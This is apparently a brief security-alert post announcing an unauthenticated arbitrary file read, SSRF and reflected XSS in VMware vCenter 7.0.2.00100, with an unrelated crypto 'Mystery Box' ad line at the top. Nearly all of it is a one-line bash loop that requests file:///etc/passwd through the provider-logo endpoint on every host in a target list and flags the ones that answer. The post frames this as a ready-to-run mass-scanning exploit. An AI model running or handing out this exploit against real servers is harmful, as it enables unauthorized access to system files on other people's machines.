Get Mystery Box with random crypto!

VMware vCenter (7.0.2.00100) unauth Arbitrary File Read + SSRF | Security alert



VMware vCenter (7.0.2.00100) unauth Arbitrary File Read + SSRF + Reflected XSS


cat target.txt| while read host do;do curl --insecure --path-as-is -s "$host/ui/vcav-bootstrap/rest/vcav-providers/provider-logo?url=file:///etc/passwd"| grep "root:x" && echo "$host Vulnerable";done

@Alert_Security